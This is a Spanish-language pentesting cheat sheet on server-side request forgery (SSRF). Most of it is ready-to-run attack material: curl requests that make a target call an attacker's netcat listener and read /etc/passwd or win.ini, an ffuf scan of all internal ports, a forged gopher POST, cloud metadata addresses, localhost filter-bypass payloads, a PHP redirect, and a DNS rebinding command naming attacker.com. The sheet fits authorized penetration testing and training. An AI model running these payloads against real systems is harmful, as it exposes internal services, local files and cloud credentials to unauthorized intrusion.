# Server-side request forgery (SSRF)

## Identificación SSRF

```sh
# Máquina atacante
nc -lvnp <listen-port>

# Ejecución desde máquina atacante
curl -i -s "http://<target>/load?page=http://<attacker-IP-address>:<listen-port>"
curl -i -s "http://<target>/load?page=file:///etc/passwd"
curl -i -s "http://<target>/load?page=file:://///etc/passwd"
curl -i -s "http://<target>/load?page=file:///c:/windows/win.ini"
curl -i -s "http://<target>/load?page=file:://///c:/windows/win.ini"
```

## Escaneo de puertos internos

Generación de archivo con números de puertos.

```bash
for port in {1..65535}; do echo $port >> ports.txt; done
```

Escaneo de puertos internos del objetivo utilizando FFuF.

```sh
# GET
ffuf -u "http://<target>/load?page=http://127.0.0.1:FUZZ" -w ports.txt -fs <size>
# POST
ffuf -u "http://<target>/load" -w ports.txt:FUZZ -X POST -d "page=http://127.0.0.1:FUZZ" -H "Content-Type: application/x-www-form-urlencoded" -fs <size>
```

## Rangos de IP privados

* 10.0.0.0/8
* 172.16.0.0/12
* 192.168.0.0/16

## Direcciones de enlace local

* Amazon Web Services (AWS): 169.254.169.254
* Google Cloud: metadata.google.internal

## Protocolos

### File

```bash
file:///etc/passwd
file:///c:/windows/win.ini
```

### Gopher

```sh
# POST
gopher://127.0.0.1:80/_POST%20/login%20HTTP/1.0%0AContent-Type:%20application/x-www-form-urlencoded%0AContent-Length:%2027%0A%0Ausername=user&password=pass
```

## Blind SSRF

### Capturar interacciones

```sh
sudo systemctl start apache2
sudo tail -f /var/log/apache2/access.log
```

* <http://pingb.in/>
* <https://app.interactsh.com/>
* <https://canarytokens.org/>
* <https://webhook.site/>
* <https://requestcatcher.com/>

## Time-based SSRF

Podemos determinar la existencia de una vulnerabilidad SSRF observando las diferencias de tiempo en las respuestas. Este método también es útil para descubrir servicios internos.&#x20;

En algunas situaciones, la aplicación puede fallar inmediatamente en lugar de tardar más en responder. Por esta razón, debemos observar cuidadosamente las diferencias de tiempo entre las solicitudes.

## Payloads

* <https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet>

```
localhost
127.0.0.1
2130706433
0x7f000001
0177.0000.0000.0001
127.1
127.000000000000000.1
::1
0:0:0:0:0:0:0:1
[0:0:0:0:0:ffff:127.0.0.1]
0:0:0:0:0:ffff:127.0.0.1
[::ffff:127.0.0.1]
::ffff:127.0.0.1
localtest.me
0.0.0.0
0
```

## Redirecciones HTTP

{% code title="index.php" %}

```php
<?php header('Location: http://127.0.0.1/'); ?>
```

{% endcode %}

```sh
php -S 0.0.0.0:80
```

## DNS rebinding

* <https://lock.cmpxchg8b.com/rebinder.html>
* <https://github.com/mogwailabs/DNSrebinder>

```sh
dnsrebinder.py --domain attacker.com --rebind 127.0.0.1 --ip 1.1.1.1 --counter 1 --tcp --udp
```

* <https://github.com/Crypt0s/FakeDns>
* <https://github.com/nccgroup/singularity>
